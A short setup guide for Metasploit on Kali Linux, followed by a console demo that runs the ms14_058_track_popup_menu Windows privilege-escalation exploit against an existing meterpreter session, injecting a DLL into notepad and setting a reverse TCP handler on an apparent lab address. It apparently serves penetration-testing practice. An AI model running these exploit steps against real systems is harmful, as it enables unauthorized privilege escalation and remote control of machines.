

Setting up Metasploit (on Kali Linux)

1. update* exploit database

```
$ msfupdate
```

2. Start Postgresql and Metasploit services

```
$ service postgresql start
```

```
$ service metasploit start
```

3. Start Metasploit console

```
$ msfconsole
```

Metasploit Demo

```
meterpreter > background |> No
[*] Backgrounding session 1...
msf exploit(ms10_092_schelevator) > use exploit/windows/local/ms14_058_track_popup_menu
msf exploit(ms14_058_track_popup_menu) > show options

Module options (exploit/windows/local/ms14_058_track_popup_menu):

Name      Current Setting  Required  Description
-----
SESSION    yes              yes       The session to run this module on.

Exploit target:

Id  Name  Arch  Platform  Version
--  -
0   Windows x86

msf exploit(ms14_058_track_popup_menu) > set SESSION 1
SESSION => 1

msf exploit(ms14_058_track_popup_menu) > run

[*] Started reverse TCP handler on 172.16.118.128:4444
[*] Launching notepad to host the exploit...
[+] Process 1288 launched.
[*] Reflectively injecting the exploit DLL into 1288...
[*] Injecting exploit into 1288...
[*] Exploit injected. Injecting payload into 1288...
[*] Payload injected. Executing exploit...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Exploit completed, but no session was created.
msf exploit(ms14_058_track_popup_menu) > set LHOST 10.10.14.75
LHOST => 10.10.14.75
msf exploit(ms14_058_track_popup_menu) > run

[*] Started reverse TCP handler on 10.10.14.75:4444
[*] Launching notepad to host the exploit...
```